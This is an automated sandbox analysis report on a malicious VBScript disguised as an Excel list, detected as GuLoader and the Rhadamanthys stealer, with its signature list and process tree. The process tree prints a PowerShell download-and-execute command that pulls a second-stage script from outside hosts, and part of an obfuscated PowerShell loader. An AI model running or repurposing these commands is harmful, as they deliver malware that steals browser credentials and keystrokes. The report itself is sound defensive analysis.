Edit tour
Windows
Analysis Report
List of Required items xlsx.vbs
Overview
General Information
| Sample name: | List of Required items xlsx.vbs |
| Analysis ID: | 1568995 |
| MD5: | cf1cdbf6bc49cfd90ecd385d6d92cab7 |
| SHA1: | a956d185c710efca3ec5279041f029457d94a81f |
| SHA256: | bf104a2d319361c09d65f78c462746e5453445517d147a67b4cb6e1767d92de7 |
| Tags: | Listofrequireditemsvbsuser-JAMESWT_MHT |
| Infos: |   |
 | |
Detection
GuLoader, RHADAMANTHYS
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Early bird code injection technique detected
Malicious sample detected (through community Yara rule)
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Yara detected Powershell download and execute
Yara detected RHADAMANTHYS Stealer
.NET source code contains potential unpacker
AI detected suspicious sample
Allocates memory in foreign processes
Encrypted powershell cmdline option found
Found suspicious powershell code related to unpacking or dynamic code loading
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Queues an APC in another process (thread injection)
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Invoke-WebRequest Execution
Sigma detected: WScript or CScript Dropper
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Suspicious execution chain found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Checks if the current process is being debugged
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
IP address seen in connection with other malware
Installs a raw input device (often for capturing keystrokes)
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for user specific document files
Sigma detected: Dllhost Internet Connection
Sigma detected: Excel Network Connections
Sigma detected: Msiexec Initiated Connection
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Web Download
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: Uncommon Svchost Parent Process
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 4328 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\List of Require d items xl sx.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 416 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command f unction Do wnloadAndR un([string ]$url, [st ring]$dest ination) { Invoke-We bRequest - Uri $url - OutFile $d estination ; Start-P rocess -Fi lePath $de stination -Wait };Do wnloadAndR un -url 'h ttps://www .pts.group /ab/ab.vbs ' -destina tion 'C:\U sers\Publi c\grm2bfvs a42.vbs';D ownloadAnd Run -url ' https://ww w.fornid.c om/ab/List %20of%20re quired%20i tems.xlsx' -destinat ion 'C:\Us ers\Public \ilurgw960 k7fwnm.xls x' MD5: 04029E121A0CFA5991749937DD22A1D9) 
conhost.exe (PID: 6528 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - wscript.exe (PID: 7088 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\Public \grm2bfvsa 42.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
WMIC.exe (PID: 7220 cmdline: wmic diskd rive get c aption,ser ialnumber MD5: C37F2F4F4B3CD128BDABCAEB2266A785) - conhost.exe (PID: 7228 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7352 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" ";$Kollati onernendka ldebefjels es='Elefan tridderne' ;;$Flumed= 'Rundinger nes';;$Met ropoler='L arceners'; ;$Provisio nsindtgter s='Drivrem men';;$Sme dejernslaa ge=$host.N ame;functi on Elevtim ens($Ballo ngynges){I f ($Smedej ernslaage) {$Firspan dets79=2} for ($Koll ationerne= $Firspande ts79;;$Kol lationerne +=3){if(!$ Ballongyng es[$Kollat ionerne]) { break }; $Bibliofil +=$Ballong ynges[$Kol lationerne ];$Squibbe ry='Jogurt ernes'}$Bi bliofil}fu nction For tynderes($ Thuds){ .( $Nongame) ($Thuds)}$ Fangled=El evtimens ' ToN rePltS i.Dew';$Fa ngled+=Ele vtimens 'S E.ubC,c o LR.i HEStN s T';$Gast ed=Elevtim ens 'S.MAn oBazObiP l lAhaMe/'; $Dealation =Elevtimen s 'coTValS lsEj1Pl2'; $Hiwire='S t[LuNF,e.d tL . sCee SR Iv,lIRo c .eHyp .O ,iUnnRyTF rm.ia n ma Udg oeMir L]Va:Ch:Ra S Te Tc Su R AiPrt y MiPSpR fOi nT PoAacN, ORkLNa= ,$ VDbeeAgA. uL ZaInTFl I.po AN';$ Gasted+=El evtimens ' An5 T.Co0 a(FuWWiig en KdBao , wKosHo MaN ReTU T1Fe 0He.Da0 i; O TrW eiHe nU 6 4J ;F a ,mxSn6 o 4Fi;B DrN ivFy:Um1.e 3Fo1U .,t0 ,)Se BeGN oeHjc,ok l oEt/ H2I 0 ,n1Im0.v0D u1Ri0 P1Pr .kFj,iS,r SteDef,noV rxSk/Af1Ud 3Ru1To.Ve0 ';$Endomys ial=Elevti mens ',nuA sSHaE,kRRe -BiaOuGBaE n AT';$ni veauoplysn ing=Elevti mens ' h S tAnt bpTes T: h/Kh/U npRatRas y .A gNor lo ,u Ap o/U aAlb ./P L aaInnBre HvyNo.Fod KsVap.r>Co hEmt .tN.p ,asK :R / / nwSmw uw Fa.YapSkuR enHoeBae u t B. aaPee .n/AraCobS ,/ LT,aren SpeC yO.. td oskrp'; $Afpolitis erendes=El evtimens ' ,a>';$Nong ame=Elevti mens 'RuIK ,enoX';$St ripperne=' Bystyrers' ;$Assumpti veness='\N onfattenin g.Ret';For tynderes ( Elevtimens ' P$UnGSe lL.o BE,AF llH : ,F N o Pr SS ,D NoeNo=Co$D iER NLiVLy : ABoP lPP D PA .t a M+sa$Baa ,SDosCaU u M pUdTMeiV iV tESuN e DS.uS');F ortynderes (Elevtime ns 'Ex$ kg MalUnOBab, eA LGr:K B RuIPrbTue Kh.wo ,lro DFle MLBuS ueS,n vSA b=,y$Ovn S IS vFoeTiA AcU TospPV iLInYPlSKv nUniKoN LG .MesS PGr LAlIVat S( Af$PrAUnf ePNyO LPoI SetB iRrS. pED R rE y NMudPrETvS Ma)');Fort ynderes (E levtimens $Hiwire);$ niveauoply sning=$Bib eholdelsen s[0];$heda =(Elevtime ns ' a$Mag LalgaOPrBR ,ARuLA :My sKotulr aM smNoeOk=I nn aE uW S -UnODiB ,J eFoc ItPu R SG Y oS F TL.eD MB l.re$SufMb AInn KgDel Pae id');F ortynderes ($heda);F ortynderes (Elevtime ns 'Fo$E S StubrLem im UeCu. H SleToaPad. neSkrPasHa [N $P EShn Gtd Ao fm cySes riBa aPrlbo]Tr= Un$AlG FaL us tAne Cd ');$Prepos ed=Elevtim ens ' O$Af SP,tTyrp.m Hem.oe,n.S nDAcoCrwGr n Ol LoCoa Myd aFO iS tlSteTi(As $ On niPrv Rue a TuMu oC,pSul ky SasFanK iM anRogko,P, $InHMajgae warben neM irBjsRe)'; $Hjerners= $Forsde;Fo rtynderes